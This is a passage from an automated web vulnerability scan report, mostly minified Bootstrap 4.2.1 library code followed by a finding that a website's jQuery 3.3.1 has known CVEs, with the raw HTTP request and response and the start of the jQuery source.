t=this._element.scrollHeight>document.documentElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!t&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},t._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},t._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=t.left+t.right<window.innerWidth,this._scrollbarWidth=this._getScrollbarWidth()},t._setScrollbar=function(){var o=this;if(this._isBodyOverflowing){var t=[].slice.call(document.querySelectorAll(fn)),e=[].slice.call(document.querySelectorAll(dn));p(t).each(function(t,e){var n=e.style.paddingRight,i=p(e).css("padding-right");p(e).data("padding-right",n).css("padding-right",parseFloat(i)+o._scrollbarWidth+"px")}),p(e).each(function(t,e){var n=e.style.marginRight,i=p(e).css("margin-right");p(e).data("margin-right",n).css("margin-right",parseFloat(i)-o._scrollbarWidth+"px")});var n=document.body.style.paddingRight,i=p(document.body).css("padding-right");p(document.body).data("padding-right",n).css("padding-right",parseFloat(i)+this._scrollbarWidth+"px")}p(document.body).addClass(sn)},t._resetScrollbar=function(){var t=[].slice.call(document.querySelectorAll(fn));p(t).each(function(t,e){var n=p(e).data("padding-right");p(e).removeData("padding-right"),e.style.paddingRight=n||""});var e=[].slice.call(document.querySelectorAll(""+dn));p(e).each(function(t,e){var n=p(e).data("margin-right");"undefined"!=typeof n&&p(e).css("margin-right",n).removeData("margin-right")});var n=p(document.body).data("padding-right");p(document.body).removeData("padding-right"),document.body.style.paddingRight=n||""},t._getScrollbarWidth=function(){var t=document.createElement("div");t.className=on,document.body.appendChild(t);var e=t.getBoundingClientRect().width-t.clientWidth;return document.body.removeChild(t),e},o._jQueryInterface=function(n,i){return this.each(function(){var t=p(this).data(Je),e=l({},tn,p(this).data(),"object"==typeof n&&n?n:{});if(t||(t=new o(this,e),p(this).data(Je,t)),"string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n](i)}else e.show&&t.show(i)})},s(o,null,[{key:"VERSION",get:function(){return"4.2.1"}},{key:"Default",get:function(){return tn}}]),o}();p(document).on(nn.CLICK_DATA_API,hn,function(t){var e,n=this,i=m.getSelectorFromElement(this);i&&(e=document.querySelector(i));var o=p(e).data(Je)?"toggle":l({},p(e).data(),p(this).data());"A"!==this.tagName&&"AREA"!==this.tagName||t.preventDefault();var r=p(e).one(nn.SHOW,function(t){t.isDefaultPrevented()||r.one(nn.HIDDEN,function(){p(n).is(":visible")&&n.focus()})});pn._jQueryInterface.call(p(e),o,this)}),p.fn[Ge]=pn._jQueryInterface,p.fn[Ge].Constructor=pn,p.fn[Ge].noConflict=function(){return p.fn[Ge]=$e,pn._jQueryInterface};var mn="tooltip",gn="bs.tooltip",_n="."+gn,vn=p.fn[mn],yn="bs-tooltip",En=new RegExp("(^|\\s)"+yn+"\\S+","g"),bn={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(number|string)",container:"(string|element|boolean)",fallbackPlacement:"(string|array)",boundary:"(string|element)"},wn={AUTO:"auto",TOP:"top",RIGHT:"right",BOTTOM:"bottom",LEFT:"left"},Tn={animation:!0,template:'<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,selector:!1,placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent"},Cn="show",Sn="out",Dn={HIDE:"hide"+_n,HIDDEN:"hidden"+_n,SHOW:"show"+_n,SHOWN:"shown"+_n,INSERTED:"inserted"+_n,CLICK:"click"+_n,FOCUSIN:"focusin"+_n,FOCUSOUT:"focusout"+_n,MOUSEENTER:"mouseenter"+_n,MOUSELEAVE:"mouseleave"+_n},In="fade",An="show",On=".tooltip-inner",Nn=".arrow",kn="hover",Ln="focus",Pn="click",xn="manual",Hn=function(){function i(t,e){if("undefined"==typeof be)throw new TypeError("Bootstrap's tooltips require Popper.js (https://popper.js.org/)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}var t=i.prototype;return t.enable=function(){this._isEnabled=!0},t.disable=function(){this._isEnabled=!1},t.toggleEnabled=function(){this._isEnabled=!this._isEnabled},t.toggle=function(t){if(this._isEnabled)if(t){var e=this.constructor.DATA_KEY,n=p(t.currentTarget).data(e);n||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),p(t.currentTarget).data(e,n)),n._activeTrigger.click=!n._activeTrigger.click,n._isWithActiveTrigger()?n._enter(null,n):n._leave(null,n)}else{if(p(this.getTipElement()).hasClass(An))return void this._leave(null,this);this._enter(null,this)}},t.dispose=function(){clearTimeout(this._timeout),p.removeData(this.element,this.constructor.DATA_KEY),p(this.element).off(this.constructor.EVENT_KEY),p(this.element).closest(".modal").off("hide.bs.modal"),this.tip&&p(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,(this._activeTrigger=null)!==this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},t.show=function(){var e=this;if("none"===p(this.element).css("display"))throw new Error("Please use show on visible elements");var t=p.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){p(this.element).trigger(t);var n=m.findShadowRoot(this.element),i=p.contains(null!==n?n:this.element.ownerDocument.documentElement,this.element);if(t.isDefaultPrevented()||!i)return;var o=this.getTipElement(),r=m.getUID(this.constructor.NAME);o.setAttribute("id",r),this.element.setAttribute("aria-describedby",r),this.setContent(),this.config.animation&&p(o).addClass(In);var s="function"==typeof this.config.placement?this.config.placement.call(this,o,this.element):this.config.placement,a=this._getAttachment(s);this.addAttachmentClass(a);var l=this._getContainer();p(o).data(this.constructor.DATA_KEY,this),p.contains(this.element.ownerDocument.documentElement,this.tip)||p(o).appendTo(l),p(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new be(this.element,o,{placement:a,modifiers:{offset:{offset:this.config.offset},flip:{behavior:this.config.fallbackPlacement},arrow:{element:Nn},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(t){t.originalPlacement!==t.placement&&e._handlePopperPlacementChange(t)},onUpdate:function(t){return e._handlePopperPlacementChange(t)}}),p(o).addClass(An),"ontouchstart"in document.documentElement&&p(document.body).children().on("mouseover",null,p.noop);var c=function(){e.config.animation&&e._fixTransition();var t=e._hoverState;e._hoverState=null,p(e.element).trigger(e.constructor.Event.SHOWN),t===Sn&&e._leave(null,e)};if(p(this.tip).hasClass(In)){var h=m.getTransitionDurationFromElement(this.tip);p(this.tip).one(m.TRANSITION_END,c).emulateTransitionEnd(h)}else c()}},t.hide=function(t){var e=this,n=this.getTipElement(),i=p.Event(this.constructor.Event.HIDE),o=function(){e._hoverState!==Cn&&n.parentNode&&n.parentNode.removeChild(n),e._cleanTipClass(),e.element.removeAttribute("aria-describedby"),p(e.element).trigger(e.constructor.Event.HIDDEN),null!==e._popper&&e._popper.destroy(),t&&t()};if(p(this.element).trigger(i),!i.isDefaultPrevented()){if(p(n).removeClass(An),"ontouchstart"in document.documentElement&&p(document.body).children().off("mouseover",null,p.noop),this._activeTrigger[Pn]=!1,this._activeTrigger[Ln]=!1,this._activeTrigger[kn]=!1,p(this.tip).hasClass(In)){var r=m.getTransitionDurationFromElement(n);p(n).one(m.TRANSITION_END,o).emulateTransitionEnd(r)}else o();this._hoverState=""}},t.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},t.isWithContent=function(){return Boolean(this.getTitle())},t.addAttachmentClass=function(t){p(this.getTipElement()).addClass(yn+"-"+t)},t.getTipElement=function(){return this.tip=this.tip||p(this.config.template)[0],this.tip},t.setContent=function(){var t=this.getTipElement();this.setElementContent(p(t.querySelectorAll(On)),this.getTitle()),p(t).removeClass(In+" "+An)},t.setElementContent=function(t,e){var n=this.config.html;"object"==typeof e&&(e.nodeType||e.jquery)?n?p(e).parent().is(t)||t.empty().append(e):t.text(p(e).text()):t[n?"html":"text"](e)},t.getTitle=function(){var t=this.element.getAttribute("data-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},t._getContainer=function(){return!1===this.config.container?document.body:m.isElement(this.config.container)?p(this.config.container):p(document).find(this.config.container)},t._getAttachment=function(t){return wn[t.toUpperCase()]},t._setListeners=function(){var i=this;this.config.trigger.split(" ").forEach(function(t){if("click"===t)p(i.element).on(i.constructor.Event.CLICK,i.config.selector,function(t){return i.toggle(t)});else if(t!==xn){var e=t===kn?i.constructor.Event.MOUSEENTER:i.constructor.Event.FOCUSIN,n=t===kn?i.constructor.Event.MOUSELEAVE:i.constructor.Event.FOCUSOUT;p(i.element).on(e,i.config.selector,function(t){return i._enter(t)}).on(n,i.config.selector,function(t){return i._leave(t)})}}),p(this.element).closest(".modal").on("hide.bs.modal",function(){i.element&&i.hide()}),this.config.selector?this.config=l({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},t._fixTitle=function(){var t=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},t._enter=function(t,e){var n=this.constructor.DATA_KEY;(e=e||p(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),p(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusin"===t.type?Ln:kn]=!0),p(e.getTipElement()).hasClass(An)||e._hoverState===Cn?e._hoverState=Cn:(clearTimeout(e._timeout),e._hoverState=Cn,e.config.delay&&e.config.delay.show?e._timeout=setTimeout(function(){e._hoverState===Cn&&e.show()},e.config.delay.show):e.show())},t._leave=function(t,e){var n=this.constructor.DATA_KEY;(e=e||p(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),p(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusout"===t.type?Ln:kn]=!1),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState=Sn,e.config.delay&&e.config.delay.hide?e._timeout=setTimeout(function(){e._hoverState===Sn&&e.hide()},e.config.delay.hide):e.hide())},t._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},t._getConfig=function(t){return"number"==typeof(t=l({},this.constructor.Default,p(this.element).data(),"object"==typeof t&&t?t:{})).delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),m.typeCheckConfig(mn,t,this.constructor.DefaultType),t},t._getDelegateConfig=function(){var t={};if(this.config)for(var e in this.config)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},t._cleanTipClass=function(){var t=p(this.getTipElement()),e=t.attr("class").match(En);null!==e&&e.length&&t.removeClass(e.join(""))},t._handlePopperPlacementChange=function(t){var e=t.instance;this.tip=e.popper,this._cleanTipClass(),this.addAttachmentClass(this._getAttachment(t.placement))},t._fixTransition=function(){var t=this.getTipElement(),e=this.config.animation;null===t.getAttribute("x-placement")&&(p(t).removeClass(In),this.config.animation=!1,this.hide(),this.show(),this.config.animation=e)},i._jQueryInterface=function(n){return this.each(function(){var t=p(this).data(gn),e="object"==typeof n&&n;if((t||!/dispose|hide/.test(n))&&(t||(t=new i(this,e),p(this).data(gn,t)),"string"==typeof n)){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}})},s(i,null,[{key:"VERSION",get:function(){return"4.2.1"}},{key:"Default",get:function(){return Tn}},{key:"NAME",get:function(){return mn}},{key:"DATA_KEY",get:function(){return gn}},{key:"Event",get:function(){return Dn}},{key:"EVENT_KEY",get:function(){return _n}},{key:"DefaultType",get:function(){return bn}}]),i}();p.fn[mn]=Hn._jQueryInterface,p.fn[mn].Constructor=Hn,p.fn[mn].noConflict=function(){return p.fn[mn]=vn,Hn._jQueryInterface};var jn="popover",Rn="bs.popover",Fn="."+Rn,Mn=p.fn[jn],Wn="bs-popover",Un=new RegExp("(^|\\s)"+Wn+"\\S+","g"),Bn=l({},Hn.Default,{placement:"right",trigger:"click",content:"",template:'<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-header"></h3><div class="popover-body"></div></div>'}),qn=l({},Hn.DefaultType,{content:"(string|element|function)"}),Kn="fade",Qn="show",Yn=".popover-header",Vn=".popover-body",Xn={HIDE:"hide"+Fn,HIDDEN:"hidden"+Fn,SHOW:"show"+Fn,SHOWN:"shown"+Fn,INSERTED:"inserted"+Fn,CLICK:"click"+Fn,FOCUSIN:"focusin"+Fn,FOCUSOUT:"focusout"+Fn,MOUSEENTER:"mouseenter"+Fn,MOUSELEAVE:"mouseleave"+Fn},zn=function(t){var e,n;function i(){return t.apply(this,arguments)||this}n=t,(e=i).prototype=Object.create(n.prototype),(e.prototype.constructor=e).__proto__=n;var o=i.prototype;return o.isWithContent=function(){return this.getTitle()||this._getContent()},o.addAttachmentClass=function(t){p(this.getTipElement()).addClass(Wn+"-"+t)},o.getTipElement=function(){return this.tip=this.tip||p(this.config.template)[0],this.tip},o.setContent=function(){var t=p(this.getTipElement());this.setElementContent(t.find(Yn),this.getTitle());var e=this._getContent();"function"==typeof e&&(e=e.call(this.element)),this.setElementContent(t.find(Vn),e),t.removeClass(Kn+" "+Qn)},o._getContent=function(){return this.element.getAttribute("data-content")||this.config.content},o._cleanTipClass=function(){var t=p(this.getTipElement()),e=t.attr("class").match(Un);null!==e&&0<e.length&&t.removeClass(e.join(""))},i._jQueryInterface=function(n){return this.each(function(){var t=p(this).data(Rn),e="object"==typeof n?n:null;if((t||!/dispose|hide/.test(n))&&(t||(t=new i(this,e),p(this).data(Rn,t)),"string"==typeof n)){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}})},s(i,null,[{key:"VERSION",get:function(){return"4.2.1"}},{key:"Default",get:function(){return Bn}},{key:"NAME",get:function(){return jn}},{key:"DATA_KEY",get:function(){return Rn}},{key:"Event",get:function(){return Xn}},{key:"EVENT_KEY",get:function(){return Fn}},{key:"DefaultType",get:function(){return qn}}]),i}(Hn);p.fn[jn]=zn._jQueryInterface,p.fn[jn].Constructor=zn,p.fn[jn].noConflict=function(){return p.fn[jn]=Mn,zn._jQueryInterface};var Gn="scrollspy",Jn="bs.scrollspy",Zn="."+Jn,$n=p.fn[Gn],ti={offset:10,method:"auto",target:""},ei={offset:"number",method:"string",target:"(string|element)"},ni={ACTIVATE:"activate"+Zn,SCROLL:"scroll"+Zn,LOAD_DATA_API:"load"+Zn+".data-api"},ii="dropdown-item",oi="active",ri='[data-spy="scroll"]',si=".nav, .list-group",ai=".nav-link",li=".nav-item",ci=".list-group-item",hi=".dropdown",ui=".dropdown-item",fi=".dropdown-toggle",di="offset",pi="position",mi=function(){function n(t,e){var n=this;this._element=t,this._scrollElement="BODY"===t.tagName?window:t,this._config=this._getConfig(e),this._selector=this._config.target+" "+ai+","+this._config.target+" "+ci+","+this._config.target+" "+ui,this._offsets=[],this._targets=[],this._activeTarget=null,this._scrollHeight=0,p(this._scrollElement).on(ni.SCROLL,function(t){return n._process(t)}),this.refresh(),this._process()}var t=n.prototype;return t.refresh=function(){var e=this,t=this._scrollElement===this._scrollElement.window?di:pi,o="auto"===this._config.method?t:this._config.method,r=o===pi?this._getScrollTop():0;this._offsets=[],this._targets=[],this._scrollHeight=this._getScrollHeight(),[].slice.call(document.querySelectorAll(this._selector)).map(function(t){var e,n=m.getSelectorFromElement(t);if(n&&(e=document.querySelector(n)),e){var i=e.getBoundingClientRect();if(i.width||i.height)return[p(e)[o]().top+r,n]}return null}).filter(function(t){return t}).sort(function(t,e){return t[0]-e[0]}).forEach(function(t){e._offsets.push(t[0]),e._targets.push(t[1])})},t.dispose=function(){p.removeData(this._element,Jn),p(this._scrollElement).off(Zn),this._element=null,this._scrollElement=null,this._config=null,this._selector=null,this._offsets=null,this._targets=null,this._activeTarget=null,this._scrollHeight=null},t._getConfig=function(t){if("string"!=typeof(t=l({},ti,"object"==typeof t&&t?t:{})).target){var e=p(t.target).attr("id");e||(e=m.getUID(Gn),p(t.target).attr("id",e)),t.target="#"+e}return m.typeCheckConfig(Gn,t,ei),t},t._getScrollTop=function(){return this._scrollElement===window?this._scrollElement.pageYOffset:this._scrollElement.scrollTop},t._getScrollHeight=function(){return this._scrollElement.scrollHeight||Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)},t._getOffsetHeight=function(){return this._scrollElement===window?window.innerHeight:this._scrollElement.getBoundingClientRect().height},t._process=function(){var t=this._getScrollTop()+this._config.offset,e=this._getScrollHeight(),n=this._config.offset+e-this._getOffsetHeight();if(this._scrollHeight!==e&&this.refresh(),n<=t){var i=this._targets[this._targets.length-1];this._activeTarget!==i&&this._activate(i)}else{if(this._activeTarget&&t<this._offsets[0]&&0<this._offsets[0])return this._activeTarget=null,void this._clear();for(var o=this._offsets.length;o--;){this._activeTarget!==this._targets[o]&&t>=this._offsets[o]&&("undefined"==typeof this._offsets[o+1]||t<this._offsets[o+1])&&this._activate(this._targets[o])}}},t._activate=function(e){this._activeTarget=e,this._clear();var t=this._selector.split(",").map(function(t){return t+'[data-target="'+e+'"],'+t+'[href="'+e+'"]'}),n=p([].slice.call(document.querySelectorAll(t.join(","))));n.hasClass(ii)?(n.closest(hi).find(fi).addClass(oi),n.addClass(oi)):(n.addClass(oi),n.parents(si).prev(ai+", "+ci).addClass(oi),n.parents(si).prev(li).children(ai).addClass(oi)),p(this._scrollElement).trigger(ni.ACTIVATE,{relatedTarget:e})},t._clear=function(){[].slice.call(document.querySelectorAll(this._selector)).filter(function(t){return t.classList.contains(oi)}).forEach(function(t){return t.classList.remove(oi)})},n._jQueryInterface=function(e){return this.each(function(){var t=p(this).data(Jn);if(t||(t=new n(this,"object"==typeof e&&e),p(this).data(Jn,t)),"string"==typeof e){if("undefined"==typeof t[e])throw new TypeError('No method named "'+e+'"');t[e]()}})},s(n,null,[{key:"VERSION",get:function(){return"4.2.1"}},{key:"Default",get:function(){return ti}}]),n}();p(window).on(ni.LOAD_DATA_API,function(){for(var t=[].slice.call(document.querySelectorAll(ri)),e=t.length;e--;){var n=p(t[e]);mi._jQueryInterface.call(n,n.data())}}),p.fn[Gn]=mi._jQueryInterface,p.fn[Gn].Constructor=mi,p.fn[Gn].noConflict=function(){return p.fn[Gn]=$n,mi._jQueryInterface};var gi="bs.tab",_i="."+gi,vi=p.fn.tab,yi={HIDE:"hide"+_i,HIDDEN:"hidden"+_i,SHOW:"show"+_i,SHOWN:"shown"+_i,CLICK_DATA_API:"click"+_i+".data-api"},Ei="dropdown-menu",bi="active",wi="disabled",Ti="fade",Ci="show",Si=".dropdown",Di=".nav, .list-group",Ii=".active",Ai="> li > .active",Oi='[data-toggle="tab"], [data-toggle="pill"], [data-toggle="list"]',Ni=".dropdown-toggle",ki="> .dropdown-menu .active",Li=function(){function i(t){this._element=t}var t=i.prototype;return t.show=function(){var n=this;if(!(this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE&&p(this._element).hasClass(bi)||p(this._element).hasClass(wi))){var t,i,e=p(this._element).closest(Di)[0],o=m.getSelectorFromElement(this._element);if(e){var r="UL"===e.nodeName||"OL"===e.nodeName?Ai:Ii;i=(i=p.makeArray(p(e).find(r)))[i.length-1]}var s=p.Event(yi.HIDE,{relatedTarget:this._element}),a=p.Event(yi.SHOW,{relatedTarget:i});if(i&&p(i).trigger(s),p(this._element).trigger(a),!a.isDefaultPrevented()&&!s.isDefaultPrevented()){o&&(t=document.querySelector(o)),this._activate(this._element,e);var l=function(){var t=p.Event(yi.HIDDEN,{relatedTarget:n._element}),e=p.Event(yi.SHOWN,{relatedTarget:i});p(i).trigger(t),p(n._element).trigger(e)};t?this._activate(t,t.parentNode,l):l()}}},t.dispose=function(){p.removeData(this._element,gi),this._element=null},t._activate=function(t,e,n){var i=this,o=(!e||"UL"!==e.nodeName&&"OL"!==e.nodeName?p(e).children(Ii):p(e).find(Ai))[0],r=n&&o&&p(o).hasClass(Ti),s=function(){return i._transitionComplete(t,o,n)};if(o&&r){var a=m.getTransitionDurationFromElement(o);p(o).removeClass(Ci).one(m.TRANSITION_END,s).emulateTransitionEnd(a)}else s()},t._transitionComplete=function(t,e,n){if(e){p(e).removeClass(bi);var i=p(e.parentNode).find(ki)[0];i&&p(i).removeClass(bi),"tab"===e.getAttribute("role")&&e.setAttribute("aria-selected",!1)}if(p(t).addClass(bi),"tab"===t.getAttribute("role")&&t.setAttribute("aria-selected",!0),m.reflow(t),p(t).addClass(Ci),t.parentNode&&p(t.parentNode).hasClass(Ei)){var o=p(t).closest(Si)[0];if(o){var r=[].slice.call(o.querySelectorAll(Ni));p(r).addClass(bi)}t.setAttribute("aria-expanded",!0)}n&&n()},i._jQueryInterface=function(n){return this.each(function(){var t=p(this),e=t.data(gi);if(e||(e=new i(this),t.data(gi,e)),"string"==typeof n){if("undefined"==typeof e[n])throw new TypeError('No method named "'+n+'"');e[n]()}})},s(i,null,[{key:"VERSION",get:function(){return"4.2.1"}}]),i}();p(document).on(yi.CLICK_DATA_API,Oi,function(t){t.preventDefault(),Li._jQueryInterface.call(p(this),"show")}),p.fn.tab=Li._jQueryInterface,p.fn.tab.Constructor=Li,p.fn.tab.noConflict=function(){return p.fn.tab=vi,Li._jQueryInterface};var Pi="toast",xi="bs.toast",Hi="."+xi,ji=p.fn[Pi],Ri={CLICK_DISMISS:"click.dismiss"+Hi,HIDE:"hide"+Hi,HIDDEN:"hidden"+Hi,SHOW:"show"+Hi,SHOWN:"shown"+Hi},Fi="fade",Mi="hide",Wi="show",Ui="showing",Bi={animation:"boolean",autohide:"boolean",delay:"number"},qi={animation:!0,autohide:!0,delay:500},Ki='[data-dismiss="toast"]',Qi=function(){function i(t,e){this._element=t,this._config=this._getConfig(e),this._timeout=null,this._setListeners()}var t=i.prototype;return t.show=function(){var t=this;p(this._element).trigger(Ri.SHOW),this._config.animation&&this._element.classList.add(Fi);var e=function(){t._element.classList.remove(Ui),t._element.classList.add(Wi),p(t._element).trigger(Ri.SHOWN),t._config.autohide&&t.hide()};if(this._element.classList.remove(Mi),this._element.classList.add(Ui),this._config.animation){var n=m.getTransitionDurationFromElement(this._element);p(this._element).one(m.TRANSITION_END,e).emulateTransitionEnd(n)}else e()},t.hide=function(t){var e=this;this._element.classList.contains(Wi)&&(p(this._element).trigger(Ri.HIDE),t?this._close():this._timeout=setTimeout(function(){e._close()},this._config.delay))},t.dispose=function(){clearTimeout(this._timeout),this._timeout=null,this._element.classList.contains(Wi)&&this._element.classList.remove(Wi),p(this._element).off(Ri.CLICK_DISMISS),p.removeData(this._element,xi),this._element=null,this._config=null},t._getConfig=function(t){return t=l({},qi,p(this._element).data(),"object"==typeof t&&t?t:{}),m.typeCheckConfig(Pi,t,this.constructor.DefaultType),t},t._setListeners=function(){var t=this;p(this._element).on(Ri.CLICK_DISMISS,Ki,function(){return t.hide(!0)})},t._close=function(){var t=this,e=function(){t._element.classList.add(Mi),p(t._element).trigger(Ri.HIDDEN)};if(this._element.classList.remove(Wi),this._config.animation){var n=m.getTransitionDurationFromElement(this._element);p(this._element).one(m.TRANSITION_END,e).emulateTransitionEnd(n)}else e()},i._jQueryInterface=function(n){return this.each(function(){var t=p(this),e=t.data(xi);if(e||(e=new i(this,"object"==typeof n&&n),t.data(xi,e)),"string"==typeof n){if("undefined"==typeof e[n])throw new TypeError('No method named "'+n+'"');e[n](this)}})},s(i,null,[{key:"VERSION",get:function(){return"4.2.1"}},{key:"DefaultType",get:function(){return Bi}}]),i}();p.fn[Pi]=Qi._jQueryInterface,p.fn[Pi].Constructor=Qi,p.fn[Pi].noConflict=function(){return p.fn[Pi]=ji,Qi._jQueryInterface},function(){if("undefined"==typeof p)throw new TypeError("Bootstrap's JavaScript requires jQuery. jQuery must be included before Bootstrap's JavaScript.");var t=p.fn.jquery.split(" ")[0].split(".");if(t[0]<2&&t[1]<9||1===t[0]&&9===t[1]&&t[2]<1||4<=t[0])throw new Error("Bootstrap's JavaScript requires at least jQuery v1.9.1 but less than v4.0.0")}(),t.Util=m,t.Alert=g,t.Button=k,t.Carousel=at,t.Collapse=Tt,t.Dropdown=ze,t.Modal=pn,t.Popover=zn,t.Scrollspy=mi,t.Tab=Li,t.Toast=Qi,t.Tooltip=Hn,Object.defineProperty(t,"__esModule",{value:!0})}); //# sourceMappingURL=bootstrap.bundle.min.js.mapEvidence * Bootstrap v4.2.1Solution Please upgrade to the latest version of bootstrap.
GET https://beekmans.dev/vendor/jquery/jquery.min.js
Alert tags Alert description The identified library jquery, version 3.3.1 is vulnerable.
Other info CVE-2020-11023
CVE-2020-11022
CVE-2019-11358
Request Request line and header section (269 bytes)
GET https://beekmans.dev/vendor/jquery/jquery.min.js HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: */* Accept-Language: en-US,en;q=0.5 Referer: https://beekmans.dev/ Connection: keep-aliveRequest body (0 bytes)
Response Status line and header section (1161 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:56:18 GMT Content-Type: application/javascript; charset=utf-8 Connection: keep-alive last-modified: Fri, 15 Mar 2019 09:41:18 GMT etag: W/"1538f-5841ed7427482-gzip" vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload Cache-Control: max-age=14400 CF-Cache-Status: MISS Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bO3KUvuhSkW0NwDvKo9mmn93tbYBJhR24DYcpLQFDAbmDkUzEAXESS1tj005TvZVeZvsve9D3JNKou77mPKmFxMQ%2BOuhW3A7OPTCrdQd4C%2B9kEY4ncKHlY92Wz8fJHY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a4bccae96b2d-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (86927 bytes)
/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */ !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var 